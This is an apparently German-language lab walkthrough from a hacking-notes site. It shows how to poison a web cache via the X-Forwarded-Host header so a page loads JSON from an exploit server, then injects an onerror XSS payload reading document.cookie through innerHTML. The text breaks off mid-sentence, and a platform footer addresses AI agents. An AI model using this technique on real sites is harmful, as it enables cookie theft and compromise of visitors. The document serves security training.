> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/cache-poisoning-to-exploit-an-xss-dom-with-strict-cache.md).

# Cache-Vergiftung, um ein XSS-DOM mit strengem Cache auszunutzen

### Web-Cache-Poisoning, um eine DOM-Schwachstelle über einen Cache mit strengen Cacheability-Kriterien auszunutzen

#### Ziel des Labs

Wir müssen **den Cache vergiften** sodass ein Besucher der Startseite **`alert(document.cookie)`** über eine **DOM-Schwachstelle**.

#### Beobachtungen

* Die Seite zeigt länderspezifische Lieferinformationen an (z. B. Vereinigtes Königreich).
* Wir identifizieren ein **`geolocate.js`** Skript, das das DOM aus einem JSON aufbaut.

<figure><img src="/files/e57ffc2505d8e5cfd76834a17d5cb30184bb42cc" alt=""><figcaption></figcaption></figure>

#### Analyse der clientseitigen Logik

In **`geolocate.js`** wir sehen eine Funktion vom Typ:

* Sie macht ein `fetch(jsonUrl)`
* Dann ruft es ab `j.country`
* Und sie tut: **`div.innerHTML = 'Kostenloser Versand nach ' + j.country;`**

```javascript
function initGeoLocate(jsonUrl)
{
    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            let geoLocateContent = document.getElementById('shipping-info');

            let img = document.createElement("img");
            img.setAttribute("src", "/resources/images/localShipping.svg");
            geoLocateContent.appendChild(img)

            let div = document.createElement("div");
            div.innerHTML = 'Kostenloser Versand nach ' + j.country;
            geoLocateContent.appendChild(div)
        });
}
```

Das standardmäßig geladene JSON ist:

**`/resources/json/geolocate.json`**

```json
{
    "country": "Vereinigtes Königreich"
}
```

<figure><img src="/files/506869361667722faba3df0b6ddb6f7b394873d3" alt=""><figcaption></figcaption></figure>

Auf der Startseite wird die JSON-URL wie folgt aufgebaut:

```javascript
<script>
   initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
</script>
```

<figure><img src="/files/722ab5283505f7f4e3e38410cce90e12eccb4f46" alt=""><figcaption></figcaption></figure>

#### Nützlicher Injection-Punkt (Cache Poisoning)

Wir stellen fest, dass, wenn wir einen Header hinzufügen wie:

* `X-Forwarded-Host: test.com`<br>

Dann **wird der Wert reflektiert** in `data.host`, was sich dann auf die an `initGeoLocate()`.

#### Unterbringung unseres JSON auf dem Exploit-Server

Auf unserem **Exploit-Server**erstellen wir eine JSON-Datei (einfaches Beispiel):

```json
{
  "country": "Andorra"
}
```

<figure><img src="/files/04ff71e63c6636d50a9de79b1a731ed9d6b790e3" alt=""><figcaption></figcaption></figure>

Dann senden wir eine Anfrage an die Root mit:

* `X-Forwarded-Host: <unser-exploit-server>`

```http
X-Forwarded-Host: exploit-0a6300210305fded80adf70e01a80006.exploit-server.net
```

Zunächst **wird nicht geladen** wegen eines Problems **CORS** (kein `Access-Control-Allow-Origin`).

<figure><img src="/files/8e276dcdffd03f6721cfe4ef835fd26261e05963" alt=""><figcaption></figcaption></figure>

Wir fügen daher in der Antwort des Exploit-Servers hinzu:

* `Access-Control-Allow-Origin: *`

```http
Access-Control-Allow-Origin: *
```

Danach wird das entfernte JSON ordnungsgemäß geladen.

<figure><img src="/files/efd961a048d3c26cdf62091446155dc918a0cf83" alt=""><figcaption></figcaption></figure>

#### Injection XSS über JSON (DOM XSS)

Wir ersetzen dann den Inhalt des JSON durch eine Nutzlast, zum Beispiel:

```json
{
  "country": "<img src=0 onerror=alert(document.cookie)"
}
```

Während `j.country` wird in `innerHTML`injiziert, interpretiert der Browser unser HTML, und \*\*l

<figure><img src="/files/3ebfeeec766cbfd446bc3b0ecfab2f7cdc472e97" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/cache-poisoning-to-exploit-an-xss-dom-with-strict-cache.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
